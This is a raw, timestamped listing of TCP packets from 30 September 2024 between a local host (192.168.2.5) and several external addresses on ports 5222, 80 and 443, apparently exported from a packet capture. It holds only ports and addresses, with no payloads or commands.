Sep 30, 2024 12:20:57.712801933 CEST	5222	50033	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.752481937 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.753436089 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.761004925 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.774780035 CEST	80	49994	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.775024891 CEST	49994	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.777163029 CEST	50038	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.784401894 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.784424067 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.784434080 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.784446001 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.784471989 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.784482956 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.784487963 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.784538031 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.784565926 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.784578085 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.784588099 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.784600019 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.784619093 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.784651041 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.786290884 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.786390066 CEST	50037	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.786504030 CEST	50036	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.786909103 CEST	50039	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:57.788387060 CEST	50040	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.789544106 CEST	50041	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.789623022 CEST	443	50041	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.789705038 CEST	50041	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.791255951 CEST	50041	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.791285992 CEST	443	50041	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.791307926 CEST	50042	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.794186115 CEST	5222	50040	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.794282913 CEST	50040	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.795566082 CEST	50040	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.796421051 CEST	443	50027	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.796494007 CEST	50027	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.796494007 CEST	50027	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.797131062 CEST	80	50042	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.798512936 CEST	50042	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.798695087 CEST	50042	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.802305937 CEST	5222	50040	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.803564072 CEST	49998	50001	192.168.2.5	185.196.10.235
Sep 30, 2024 12:20:57.805368900 CEST	80	50042	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.805419922 CEST	50042	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.812108994 CEST	80	50042	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.813003063 CEST	5222	50029	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:57.813076019 CEST	50029	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:57.819402933 CEST	443	50038	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.827447891 CEST	443	50036	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.832767010 CEST	80	50039	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.832786083 CEST	5222	50037	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.832794905 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.847749949 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.856734991 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.858177900 CEST	50043	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.864351988 CEST	5222	50020	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.864447117 CEST	50020	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.864685059 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.865118027 CEST	50043	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.865487099 CEST	50043	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.867072105 CEST	80	49997	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.869223118 CEST	49997	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.870327950 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.876199007 CEST	50044	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.882318974 CEST	80	50044	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.883745909 CEST	50044	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.883925915 CEST	50044	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.886888981 CEST	50040	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.887028933 CEST	50041	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.887547016 CEST	50042	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:57.890129089 CEST	80	50044	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.891503096 CEST	50045	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.891527891 CEST	50044	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.892606020 CEST	50046	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.892637014 CEST	443	50046	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.892702103 CEST	50046	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.893800020 CEST	50046	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.893815994 CEST	443	50046	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.894783020 CEST	50047	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.894833088 CEST	443	50047	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.894903898 CEST	50047	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.895203114 CEST	443	50030	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.895267010 CEST	50030	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.895292997 CEST	50030	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:57.896022081 CEST	50047	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.896039963 CEST	443	50047	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.899094105 CEST	443	50031	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:57.899157047 CEST	50031	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.899166107 CEST	5222	50045	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.899178982 CEST	50031	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:57.899194956 CEST	80	50044	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.899234056 CEST	50045	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.899568081 CEST	50045	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.905314922 CEST	5222	50045	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.925952911 CEST	5222	50033	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:57.926975012 CEST	50033	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:57.927407980 CEST	443	50041	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:57.940743923 CEST	80	50042	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.940754890 CEST	5222	50040	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:57.941045046 CEST	50048	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.947650909 CEST	80	50048	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.947732925 CEST	50048	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.947994947 CEST	50048	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.952786922 CEST	80	50048	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.952831030 CEST	50048	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:57.957612991 CEST	80	50048	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:57.974886894 CEST	80	50002	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:57.976002932 CEST	50002	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.000629902 CEST	50047	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.005398035 CEST	50045	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.005511045 CEST	50048	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.005850077 CEST	50046	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.007509947 CEST	50049	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.007652998 CEST	50050	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.007692099 CEST	443	50050	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.007754087 CEST	50050	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.008553028 CEST	443	50034	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.008636951 CEST	50034	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.008636951 CEST	50034	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.008779049 CEST	50051	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.009007931 CEST	50050	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.009028912 CEST	443	50050	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.012326956 CEST	5222	50049	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:58.012392998 CEST	50049	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.012594938 CEST	50049	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.013561964 CEST	80	50051	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:58.013622046 CEST	50051	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.013762951 CEST	50051	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.017374992 CEST	5222	50049	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:58.018498898 CEST	80	50051	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:58.018835068 CEST	50051	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.023631096 CEST	80	50051	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:58.047393084 CEST	443	50047	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.047410011 CEST	443	50046	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.049427032 CEST	5222	50037	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:58.049494028 CEST	50037	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.056751966 CEST	80	50048	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.056767941 CEST	5222	50045	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.084364891 CEST	80	50005	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.084538937 CEST	50005	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.096775055 CEST	80	49712	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:58.096991062 CEST	49712	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:58.111469984 CEST	50049	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.111589909 CEST	50051	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.111850023 CEST	50050	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.113321066 CEST	50052	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.113573074 CEST	50053	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.113617897 CEST	443	50053	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.114553928 CEST	50054	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.114588976 CEST	50053	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.114829063 CEST	50055	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.114859104 CEST	443	50055	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.114916086 CEST	50055	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.115765095 CEST	50053	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.115781069 CEST	443	50053	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.115991116 CEST	50055	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.116008043 CEST	443	50055	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.118169069 CEST	5222	50052	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:58.118231058 CEST	50052	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.118444920 CEST	50052	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.119369984 CEST	80	50054	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:58.119430065 CEST	50054	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.119537115 CEST	50054	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.123234987 CEST	5222	50052	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:58.124313116 CEST	80	50054	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:58.124358892 CEST	50054	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.127739906 CEST	443	50036	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.127813101 CEST	50036	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.127834082 CEST	50036	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.129103899 CEST	443	50038	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.129131079 CEST	80	50054	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:58.129173994 CEST	50038	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.129173994 CEST	50038	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.155432940 CEST	443	50050	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.156780005 CEST	80	50051	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:58.156800032 CEST	5222	50049	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:58.175403118 CEST	5222	50040	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.175461054 CEST	50040	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.210213900 CEST	80	50009	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.210268021 CEST	50009	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.223579884 CEST	50055	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.227996111 CEST	50052	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.228154898 CEST	50054	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.228656054 CEST	50053	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.230465889 CEST	50056	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.230524063 CEST	443	50056	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.230565071 CEST	50057	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.230601072 CEST	50056	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.231616020 CEST	50058	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.231775045 CEST	50056	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.231786013 CEST	443	50056	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.235914946 CEST	5222	50057	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:58.236820936 CEST	80	50058	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:58.236860037 CEST	50057	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.236860037 CEST	50057	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.236882925 CEST	50058	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.237037897 CEST	50058	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.242136955 CEST	5222	50057	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:58.242305994 CEST	80	50058	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:58.242355108 CEST	50058	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.247636080 CEST	80	50058	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:58.264954090 CEST	443	50041	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.265041113 CEST	50041	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.265042067 CEST	50041	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.271399975 CEST	443	50055	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.271403074 CEST	443	50053	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.276779890 CEST	80	50054	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:58.276792049 CEST	5222	50052	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:58.286142111 CEST	5222	50045	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.286209106 CEST	50045	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.317152023 CEST	80	50012	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:58.317219019 CEST	50012	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.336314917 CEST	50057	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.336477041 CEST	50056	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.337061882 CEST	50058	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.340029955 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.340998888 CEST	50044	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.341681004 CEST	50043	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.345493078 CEST	50059	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.346456051 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.346693039 CEST	50060	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.346782923 CEST	443	50060	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.346858025 CEST	50060	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.347946882 CEST	50060	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.347995043 CEST	443	50060	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.348875999 CEST	50061	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.348898888 CEST	443	50061	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.348958969 CEST	50061	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.349982023 CEST	50061	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.349996090 CEST	443	50061	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.350253105 CEST	5222	50059	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.350310087 CEST	50059	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.350588083 CEST	50059	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.350908995 CEST	443	50046	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.350972891 CEST	50046	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.350989103 CEST	50046	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.352112055 CEST	50062	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.353621006 CEST	443	50047	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.353710890 CEST	50047	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.353758097 CEST	50047	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.355387926 CEST	5222	50059	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.356914043 CEST	80	50062	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.356973886 CEST	50062	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.357161045 CEST	50062	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.361908913 CEST	80	50062	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.361968994 CEST	50062	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.366839886 CEST	80	50062	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.383399010 CEST	443	50056	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.385119915 CEST	5222	50049	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:58.385169029 CEST	50049	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:58.388799906 CEST	80	50058	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:58.388817072 CEST	5222	50057	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:58.388859034 CEST	80	50044	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.413830042 CEST	80	50015	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:58.413881063 CEST	50015	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.446755886 CEST	50061	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.452228069 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.454097986 CEST	50043	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.454190969 CEST	50059	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.454314947 CEST	50060	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.454792976 CEST	50062	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.457107067 CEST	50063	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.457916975 CEST	50064	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.457948923 CEST	443	50064	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.458014965 CEST	50064	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.458942890 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.461457968 CEST	50064	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.461477995 CEST	443	50064	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.461932898 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.461951971 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.462003946 CEST	5222	50063	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.462007046 CEST	50043	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.462064981 CEST	50063	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.462445021 CEST	50063	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.467216015 CEST	5222	50063	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.473992109 CEST	443	50050	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.474081039 CEST	50050	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.477483988 CEST	50050	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.479211092 CEST	50063	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.479336977 CEST	50064	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.487426996 CEST	443	50061	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.495409966 CEST	443	50060	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.496041059 CEST	5222	50052	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:58.496095896 CEST	50052	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:58.504769087 CEST	80	50062	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.504779100 CEST	5222	50059	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.523406982 CEST	443	50064	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.523792028 CEST	80	50019	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:58.523947001 CEST	50019	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.528723001 CEST	5222	50063	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.563740015 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.576478004 CEST	443	50055	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:58.576581001 CEST	50055	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.576581001 CEST	50055	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:58.579502106 CEST	443	50053	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.579579115 CEST	50053	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.581480980 CEST	50053	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.606532097 CEST	50043	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.616108894 CEST	80	50021	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.616177082 CEST	50021	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.616626978 CEST	5222	50057	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:58.616674900 CEST	50057	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:58.667289019 CEST	80	50025	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.667375088 CEST	50025	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.690027952 CEST	443	50056	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:58.690112114 CEST	50056	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.690112114 CEST	50056	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:58.691565037 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.710328102 CEST	50043	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.721986055 CEST	5222	50059	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:58.722054958 CEST	50059	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:58.739684105 CEST	80	50028	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.739759922 CEST	50028	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.756788969 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.814709902 CEST	50043	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.816220045 CEST	50065	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.817663908 CEST	50066	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.819809914 CEST	5222	50043	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.819875956 CEST	50043	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.821072102 CEST	5222	50065	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.821135998 CEST	50065	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.821396112 CEST	50065	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.822448969 CEST	80	50066	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.822501898 CEST	50066	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.822635889 CEST	50066	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.826113939 CEST	5222	50065	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.827394962 CEST	80	50066	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:58.827438116 CEST	50066	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:58.828697920 CEST	443	50061	188.114.97.3	192.168.2.5
